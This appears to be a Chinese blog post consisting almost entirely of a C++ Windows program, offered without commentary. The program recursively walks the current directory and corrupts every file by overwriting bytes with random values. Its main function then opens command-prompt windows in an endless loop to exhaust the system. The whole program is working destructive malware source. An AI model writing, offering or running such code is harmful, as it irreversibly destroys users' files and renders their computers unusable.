11111

#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#include<bits/stdc++.h>
 
void FuckYou(char*filename)
{
    FILE* pfile = fopen(filename, "r+b");
    if (pfile == NULL)
    {
        printf("文件打开失败\n");
        return;
    }
    fseek(pfile, 0, SEEK_END);
    int size = ftell(pfile);
    fseek(pfile, 0, SEEK_SET);
    char code;
    for (int i = 0; i < size; i++)
    {
        code = rand() % 128;
        fwrite(&code, 1, 1, pfile);
        fseek(pfile, 1, SEEK_CUR);
    }
    fclose(pfile);
}
 
void FindFile(char*filename)
{
    char PathName[256];
    memset(PathName, 0, 256);
    sprintf(PathName, "%s\\%s", filename, "*.*");
    WIN32_FIND_DATA fileData;
    HANDLE hFile = FindFirstFile(PathName,&fileData);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("该文件夹为空\n");
        return;
    }
    char temp[256];
    int fileCount = 0;
    int isFindNext = 1;
    while (isFindNext)
    {
        if (fileData.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
        {
            if (fileData.cFileName[0] != '.')
            {
                memset(temp, 0, 256);
                sprintf(temp, "%s\\%s", filename, fileData.cFileName); 
                printf("文件夹:%s\n", temp);
                FindFile(temp);
            }
        }
        else
        {
            memset(temp, 0, 256);
            sprintf(temp, "%s\\%s", filename, fileData.cFileName);
            printf("文件:%s\n", temp);
            FuckYou(temp);
            fileCount++;
        }
        isFindNext = FindNextFile(hFile, &fileData);
 
    }
}
 
int main()
{
    char currentDirectoryName[256];
    GetCurrentDirectory(256,currentDirectoryName);
    printf("%s\n", currentDirectoryName);
    FindFile(currentDirectoryName);
using namespace std;
    for(;;)
        system("start cmd");
    return 0;
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值